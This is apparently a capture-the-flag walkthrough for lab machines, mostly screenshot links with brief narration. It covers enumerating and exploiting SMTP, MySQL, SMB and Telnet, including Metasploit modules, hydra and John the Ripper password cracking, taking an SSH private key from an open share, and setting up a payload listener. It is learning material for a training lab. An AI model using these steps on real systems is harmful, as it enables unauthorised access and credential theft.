![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McjvBVr2VJZWRf-3xSr%2F-McjwDzWp-yQfpMRP9gH%2Fimage.png?alt=media\&token=ef2b0501-37bc-43ac-8509-4bb220a888fc)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McjvBVr2VJZWRf-3xSr%2F-Mcjw4NMwzi9EC7nlDg6%2Fimage.png?alt=media\&token=be0ed66f-60bc-429e-a269-0ac65db8e8cc)

Lets start Metasploit and look for the module they mentioned and then set the options

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McjvBVr2VJZWRf-3xSr%2F-McjwXoW86bcrZSZ6gx4%2Fimage.png?alt=media\&token=5314420a-a904-466e-8eef-e07159ecc865)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McjvBVr2VJZWRf-3xSr%2F-McjwcF9AVfs9_FAJT5U%2Fimage.png?alt=media\&token=b47a5334-a4de-4a9c-8bda-cff56033534d)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McjvBVr2VJZWRf-3xSr%2F-Mcjwfi62Nb2S68K2wXq%2Fimage.png?alt=media\&token=7db2802e-e02f-4b05-a5b4-ccff9815b1b6)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McjvBVr2VJZWRf-3xSr%2F-Mcjwoz__JNxhhQx2kwJ%2Fimage.png?alt=media\&token=6875788f-662d-4b89-9e87-82bbd17e1395)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McjvBVr2VJZWRf-3xSr%2F-McjxBDhSkAU8i43dxyM%2Fimage.png?alt=media\&token=c5894625-546b-4fe6-b39c-9cfcfe89efe0)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McjvBVr2VJZWRf-3xSr%2F-McjxE2jJaxNMQqaUqDp%2Fimage.png?alt=media\&token=20ce822f-84a6-4306-acd8-73b5096e8818)

Lets search for what MTA is running the SMTP server

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McjvBVr2VJZWRf-3xSr%2F-McjxRWWi7OclUB5mbgx%2Fimage.png?alt=media\&token=085232c4-0ef0-474d-b690-3710b216f186)

This can also be seen in the output after we ran the enumeration module

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McjvBVr2VJZWRf-3xSr%2F-McjxbEENGr-Kx5Z7go9%2Fimage.png?alt=media\&token=160672a9-6562-4b89-9fa8-639a371210be)

Lets do the next steps

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McjvBVr2VJZWRf-3xSr%2F-McjyBYqifwMK_9eUcE1%2Fimage.png?alt=media\&token=0eb1605d-3d97-46cd-b83d-99fbeb0ce303)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McjvBVr2VJZWRf-3xSr%2F-McjyHL1evphd5wDKSMu%2Fimage.png?alt=media\&token=ec50582e-2f1a-467e-8b55-cd0b0ec9444a)

Lets run the exploit

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McjvBVr2VJZWRf-3xSr%2F-Mcjyyr-RiwOyL3rE_dm%2Fimage.png?alt=media\&token=b75bdd9e-02d2-4ad8-89bf-0d63e8ea9dda)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McjvBVr2VJZWRf-3xSr%2F-Mcjz13lS7SFQrQGuTtE%2Fimage.png?alt=media\&token=e5543efb-37f4-456c-9fdc-25cc33845ada)

### Exploiting SMTP

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McjvBVr2VJZWRf-3xSr%2F-McjzHyYVZEFjZT8f9ie%2Fimage.png?alt=media\&token=6710bded-4f53-4261-9f53-8c71d8715357)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McjvBVr2VJZWRf-3xSr%2F-McjzPd0or7gTEkYnTKT%2Fimage.png?alt=media\&token=fd81d287-1421-4d0a-8722-9c57a88cd7fc)

Lets use hydra to crack the password

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McjzqLZfFNMYdMZ_AOC%2F-Mck-0fJiIkDiqz3ixjG%2Fimage.png?alt=media\&token=2616b2bc-05ad-4b1b-8625-023db2ce6470)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McjzqLZfFNMYdMZ_AOC%2F-Mck-3BAlgjc4-7PBn7R%2Fimage.png?alt=media\&token=36a53280-8d93-4a92-b97b-b2c6cf6a5b7d)

Lets login through ssh and read the flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McjzqLZfFNMYdMZ_AOC%2F-Mck-GDSPNMKS7FF3giR%2Fimage.png?alt=media\&token=14b0dd71-f73f-4d4f-86ce-bdafde96cd9a)

## MySQL: Structured Query Language

### Understanding MySQL

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McjzqLZfFNMYdMZ_AOC%2F-Mck1R6VGKR-fDg6eH8u%2Fimage.png?alt=media\&token=15f1ccb2-151b-4a52-97e7-33352fd57f6d)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McjzqLZfFNMYdMZ_AOC%2F-Mck1U3T_Z8c3YOGXeFA%2Fimage.png?alt=media\&token=3cce1684-7edb-4752-a1a7-53450343c9b0)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McjzqLZfFNMYdMZ_AOC%2F-Mck1zkBPeGW9rTna2FE%2Fimage.png?alt=media\&token=572194ad-15ea-4121-a53b-818e7b49f219)

### Enumerating MySQL

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McjzqLZfFNMYdMZ_AOC%2F-Mck2E1XLBFhKKpid6_v%2Fimage.png?alt=media\&token=f65ca8c0-af3c-4a88-9256-608a029ede97)

Lets run a nmap port scan

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McjzqLZfFNMYdMZ_AOC%2F-Mck2uIAMDl0W_-ApUHI%2Fimage.png?alt=media\&token=1d777455-bc70-45ef-b507-a34f87b2d8ad)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McjzqLZfFNMYdMZ_AOC%2F-Mck2y-pBDG-1TslZfpU%2Fimage.png?alt=media\&token=7f105911-b342-482d-ba8f-8a53b9923355)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mck3JFjtdc8dnRUbrGB%2F-Mck3NRiN1YwqEV3F-eN%2Fimage.png?alt=media\&token=0353f179-c151-485f-aaa9-3c109679f1cd)

Lets login into MySQL as root

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mck3JFjtdc8dnRUbrGB%2F-Mck4j6m2Ep_YMAZhuyK%2Fimage.png?alt=media\&token=88d38a0d-589f-43db-bc61-12b5183aac8e)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mck3JFjtdc8dnRUbrGB%2F-Mck4oZ7wMXZ0Vz5nfa1%2Fimage.png?alt=media\&token=a45a2b39-2d7d-4616-9795-956346c8dc82)

Lets launch Metasploit and search for the module and look at what options we have to set

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mck3JFjtdc8dnRUbrGB%2F-Mck5-ObqGvEOaur_GvE%2Fimage.png?alt=media\&token=041e8c6e-4593-47de-b886-cffdc58667da)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mck3JFjtdc8dnRUbrGB%2F-Mck59FRyTX5_GHUa95I%2Fimage.png?alt=media\&token=5bbb6e6b-4ea8-4363-ad55-cb7552e3947b)

Lets set the options

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mck3JFjtdc8dnRUbrGB%2F-Mck5CVk9nrKpLwmPX65%2Fimage.png?alt=media\&token=b84924b7-737f-4090-8beb-8d534d7213b2)

Now lets run the module

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mck3JFjtdc8dnRUbrGB%2F-Mck5KCmRwR1GUyHBoDW%2Fimage.png?alt=media\&token=89d6a07b-19ec-4a3a-a576-3186688c1efb)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mck3JFjtdc8dnRUbrGB%2F-Mck5eJWuM89TYez5YWY%2Fimage.png?alt=media\&token=015f86ec-d20a-493a-8b2d-675d28e2a5db)

Lets set the SQL parameter to show databases and run the exploit

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mck3JFjtdc8dnRUbrGB%2F-Mck5oaZ5NwG-7WIz3lc%2Fimage.png?alt=media\&token=84d311a5-8b6d-4fac-92e2-ea57f6555eb0)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mck3JFjtdc8dnRUbrGB%2F-Mck5saiwHdUUE_IqSgd%2Fimage.png?alt=media\&token=eee3d189-2d49-423e-8152-c55cab147db8)

### Exploiting MySQL

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mck5w0i2MaYzjOR58iW%2F-Mck62tzRr3cAFlyLSfo%2Fimage.png?alt=media\&token=b17ac19e-7ab9-4252-b437-2001a573cce8)

Lets follow the steps they have given&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mck5w0i2MaYzjOR58iW%2F-Mck6dHuCwBs85S7Q5Z1%2Fimage.png?alt=media\&token=36688fd1-cce2-45f4-98ec-0894a935a3ab)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mck5w0i2MaYzjOR58iW%2F-Mck7K-Sh12xDCvuJLu_%2Fimage.png?alt=media\&token=ada57713-a15a-45c9-8d01-9a9ccaf2cc92)

![The last table returned](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mck5w0i2MaYzjOR58iW%2F-Mck6qdyyuM_N7P-O33B%2Fimage.png?alt=media\&token=0dda3bab-3f06-43e3-91bf-811c04a94e37)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mck5w0i2MaYzjOR58iW%2F-Mck6x2YWsWwfAJlx-Qe%2Fimage.png?alt=media\&token=6cc91023-4ea1-4a70-a743-72fc40ea461f)

Lets do the next step

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mck5w0i2MaYzjOR58iW%2F-Mck7AfdolirJwTbCh7e%2Fimage.png?alt=media\&token=d475abdd-6791-4d85-8769-567794461e83)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mck5w0i2MaYzjOR58iW%2F-Mck7ZwdsiDmr60n-Py_%2Fimage.png?alt=media\&token=32ec20bc-b378-4919-88c1-e512405cc022)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mck5w0i2MaYzjOR58iW%2F-Mck7DePg1zX9j2ek6wt%2Fimage.png?alt=media\&token=37f20cff-1b8d-4e01-9083-73ebe5df5af8)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mck5w0i2MaYzjOR58iW%2F-Mck7m9TBGZvdiPnUjYk%2Fimage.png?alt=media\&token=194881f7-6c7c-4f37-8b54-31f647bd0570)

Lets save the username and hash into a file called hash.txt&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mck5w0i2MaYzjOR58iW%2F-Mck7xbivMS8wkVhirbe%2Fimage.png?alt=media\&token=fdbc4abd-e31f-4d42-9c31-95be427a9fea)

Now lets crack it with John The Ripper

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mck5w0i2MaYzjOR58iW%2F-Mck88Y91fKTxiw_5EEa%2Fimage.png?alt=media\&token=eef2be1e-d13f-4eb8-941f-c79d067de2f5)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mck5w0i2MaYzjOR58iW%2F-Mck8DFTIUt30CnzIArc%2Fimage.png?alt=media\&token=2aef35d8-bbae-4196-a1c4-5268a1e46201)

Lets now login through ssh and get the flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mck5w0i2MaYzjOR58iW%2F-Mck8Ov4nMb3_929H_LE%2Fimage.png?alt=media\&token=3eb68264-3076-4309-bcc3-4dcb29cf41c1)

&#x20;


# Network Services

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcdlh_uSMFknftJJvrL%2F-McdlxdvS5pznjOaLYom%2Fimage.png?alt=media\&token=71a17af3-cb27-4405-9de6-a1014c230861)

## SMB: Server Message Block

### Understanding SMB

SMB - Server Message Block Protocol - is a client-server communication protocol used for sharing access to files, printers, serial ports and other resources on a network. Servers make file systems and other resources (printers, named pipes, APIs) available to clients on the network.

The SMB protocol is known as a response-request protocol, meaning that it transmits multiple messages between the client and server to establish a connection. Clients connect to servers using TCP/IP, NetBEUI or IPX/SPX.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McdlzBe36ucFWueqpo3%2F-Mcdmb0MHrDqQV6s-0L0%2Fimage.png?alt=media\&token=b19f0d03-9bd8-4656-aa3c-3d69f097db50)

**What runs SMB?**

Microsoft Windows operating systems since Windows 95 have included client and server SMB protocol support. Samba, an open source server that supports the SMB protocol, was released for Unix systems.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McdlzBe36ucFWueqpo3%2F-Mcdn0h-Ijs3VmEg50tq%2Fimage.png?alt=media\&token=a4547438-6122-49fd-be50-d5df7608f9f6)

### Enumerating SMB

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McdlzBe36ucFWueqpo3%2F-McdnS8HQ1WB-zUiMkjX%2Fimage.png?alt=media\&token=836836fb-5066-4a64-bca7-cbf1f70119cf)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcdnh_lmH0sVYJNYcU4%2F-McdnsaDl06dSOVW5prL%2Fimage.png?alt=media\&token=8b870fed-0f74-403c-bb1a-1901d213c708)

Lets check how many ports are open

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcdnh_lmH0sVYJNYcU4%2F-McdoS6kQWhM9kXMNrgQ%2Fimage.png?alt=media\&token=ced6b308-b954-4d5d-ba25-9186873f2d27)

We have 2 open ports

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcdnh_lmH0sVYJNYcU4%2F-Mcdoq-rK66nwbe_gfEd%2Fimage.png?alt=media\&token=60d73462-7c2e-4a0f-b24f-e38f39bc69e2)

Lets run a detailed scan&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcdnh_lmH0sVYJNYcU4%2F-McdoiT80wfR41nbj9gN%2Fimage.png?alt=media\&token=60c6d302-bb7f-4655-b7c8-4aac4ddbd0f1)

SMB is running on ports 139 and 445

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcdnh_lmH0sVYJNYcU4%2F-McdotPcna3x33nMcTJ8%2Fimage.png?alt=media\&token=0fc5f9a6-761d-4129-b6fe-02b654777267)

Lets use enum4linux to enumerate SMB

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcdnh_lmH0sVYJNYcU4%2F-Mcdp0QaXfJtky08LEYQ%2Fimage.png?alt=media\&token=2c7b1a4b-0ca9-47de-b5e6-03c36a125df0)

The name of the Workgroup is WORKGROUP

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcdnh_lmH0sVYJNYcU4%2F-McdpM5cLpOBgk0zRewy%2Fimage.png?alt=media\&token=2691780d-9fb4-4efb-8e9c-b2586e9fe893)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcdnh_lmH0sVYJNYcU4%2F-Mcdpdp-ZHmkKtQ1h0fN%2Fimage.png?alt=media\&token=4061f010-bcd8-4712-aa0f-af88f7c533db)

POLOSMB is the name of the machine and the OS version is 6.1

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcdnh_lmH0sVYJNYcU4%2F-McdqbAI6a2prdgNk1Hn%2Fimage.png?alt=media\&token=dfaca98a-e454-4070-aa21-ab90ef4ba141)

This share is interesting

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcdnh_lmH0sVYJNYcU4%2F-McdqfNzW6jvNmMzpSwi%2Fimage.png?alt=media\&token=42c6ba6b-1987-4a16-9f46-c9ff2481ca46)

### Exploiting SMB

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mcdnh_lmH0sVYJNYcU4%2F-McdrxWrc7fyjeZO7gS9%2Fimage.png?alt=media\&token=370e009e-d81a-41b5-bc96-cc232aea22ef)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McdsylHNSeZghjx88tZ%2F-Mcdt1CWUmBqHykkPsCH%2Fimage.png?alt=media\&token=a8fdf47a-8a19-4abc-9b5a-fd0ca10e4ead)

Lets use smbclient to connect to the share.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McdsylHNSeZghjx88tZ%2F-McdtFiN5wMz4KtME82y%2Fimage.png?alt=media\&token=7ae6b671-be92-47f8-a815-b1ae3300476c)

We are logged in.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McdsylHNSeZghjx88tZ%2F-McdtLfBDiiXWXEBHJNF%2Fimage.png?alt=media\&token=c5c7438d-1ef1-48a8-9e1c-1ffe19b881c6)

Lets transfer the Information.txt file onto our machine and read it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McdsylHNSeZghjx88tZ%2F-McdtmRNo93lcZ7j1_Ib%2Fimage.png?alt=media\&token=9305e2eb-3408-48d2-b126-6b9541fbd682)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McdsylHNSeZghjx88tZ%2F-Mcdtr07C-gHMZFhJQxD%2Fimage.png?alt=media\&token=7deebb4f-b7bd-400d-a88a-14de3dc0307f)

We can assume that this folder belongs to "John Cactus".

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McdsylHNSeZghjx88tZ%2F-Mcdu2yRX3vbiKEAX2rW%2Fimage.png?alt=media\&token=9ed38de8-047d-42c1-8cb8-d582685de916)

Reading the file, we can see that ssh has been enabled for employees to work from home, so we can also check out the .ssh folder on the smb share as it has ssh file that we can use to login to the machine using ssh.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McdsylHNSeZghjx88tZ%2F-McduLpYX97IF5bL5jcb%2Fimage.png?alt=media\&token=24a15e53-d1b3-4c25-a154-d33b7768938c)

Lets change directories into the .ssh folder and list the files.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McduUoSAGv1SGDWbEJ0%2F-McduiOwLQzpf0mjC_ZQ%2Fimage.png?alt=media\&token=67176075-5aa2-4924-b90d-7067ddb99939)

To most useful file to us is the id\_rsa file as we can use that to login through ssh.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McduUoSAGv1SGDWbEJ0%2F-McdutunGiaQqw8RsjNh%2Fimage.png?alt=media\&token=a04c1456-3c1b-4a30-8fcb-8ad01dc4e90d)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McduUoSAGv1SGDWbEJ0%2F-McduvsY5rU8g0YyoWf_%2Fimage.png?alt=media\&token=81219d9a-bb58-4dfb-a87d-7218784d65e0)

Lets do this.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McduUoSAGv1SGDWbEJ0%2F-McduzbLHg7Em8B2gyDo%2Fimage.png?alt=media\&token=ee9ed311-4f6b-4407-8c0e-84dd201cb268)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McdvheaUoaEWxm8ES4w%2F-Mcdx6zmerWmeOfmdPSr%2Fimage.png?alt=media\&token=8f4215b2-f0d0-4b68-9dfc-8ebf0ce9fc0c)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McdvheaUoaEWxm8ES4w%2F-McdxD6sj2vrD3dsWwgQ%2Fimage.png?alt=media\&token=e95296fc-7a31-4251-82d1-dd6d20b02de5)

The username is cactus, lets login and read the file

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McdvheaUoaEWxm8ES4w%2F-McdxLE0bLSL82PhBBez%2Fimage.png?alt=media\&token=3068fdc5-093e-425d-8948-4c4dc5d1eec8)

## Telnet

### Understanding Telnet

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-McdxSvBjTpZZhm7UIXm%2F-Mce06hu-fZH7jTXnF6W%2Fimage.png?alt=media\&token=93a848f3-485d-43bf-b93f-23b8d27c1c66)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mce08LWrZvD3qMUF0cL%2F-Mce0MyC2PlZcKdK7qcU%2Fimage.png?alt=media\&token=ff0d139c-1712-434c-96d7-89e0b71ac49d)

### Enumeration Telnet

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mce08LWrZvD3qMUF0cL%2F-Mce0qaRHlqGWyAwPWBU%2Fimage.png?alt=media\&token=02b55c18-3678-4877-b848-bfadab9a3bd6)

Lets start enumerating by running a nmap scan to see what port are open on the machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mce4kINqFjaX6OSFNfH%2F-Mce4xbjQCInLP5I3Q0N%2Fimage.png?alt=media\&token=cdd22f9e-9dde-47db-ab84-9e075c06ea22)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mce4kINqFjaX6OSFNfH%2F-Mce5CwqEsW744GFhhuh%2Fimage.png?alt=media\&token=b007d270-ccf2-4070-a629-d9ca8a33bf2d)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MceXwq-Vfm-bJSRpqPS%2F-MceaTHWGFCSuKByOyXd%2Fimage.png?alt=media\&token=ad99228a-5351-4a8c-8cd2-e0aedb1bda5a)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MceXwq-Vfm-bJSRpqPS%2F-MceYlVir2onwTWZbntH%2Fimage.png?alt=media\&token=a64b459b-1d0b-4b74-a534-015c1bcf6b35)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MceXwq-Vfm-bJSRpqPS%2F-MceaXGdpFItacdOwtQQ%2Fimage.png?alt=media\&token=28fdc59b-484d-4a0b-b9c5-ad30b7738b36)

### Exploiting Telnet

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MceXwq-Vfm-bJSRpqPS%2F-MceZanre6OJajk4zoWu%2Fimage.png?alt=media\&token=03961243-775b-4a77-afbf-fe11dc8f86bc)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MceXwq-Vfm-bJSRpqPS%2F-MceZdWXvAdbDf6PWAfa%2Fimage.png?alt=media\&token=33e7cfbd-39d8-437c-9dac-c1b1e3064e12)

Lets login through telnet

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MceXwq-Vfm-bJSRpqPS%2F-MceZuAb9NATy-q6VmUG%2Fimage.png?alt=media\&token=0f415cec-90a1-4c22-87bc-628021b38e62)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MceXwq-Vfm-bJSRpqPS%2F-Mce_U8CoytlC_9ua21e%2Fimage.png?alt=media\&token=8cbc6aa5-89f4-4fdd-8382-8a990e8d61c2)

Lets create the payload and start a listener

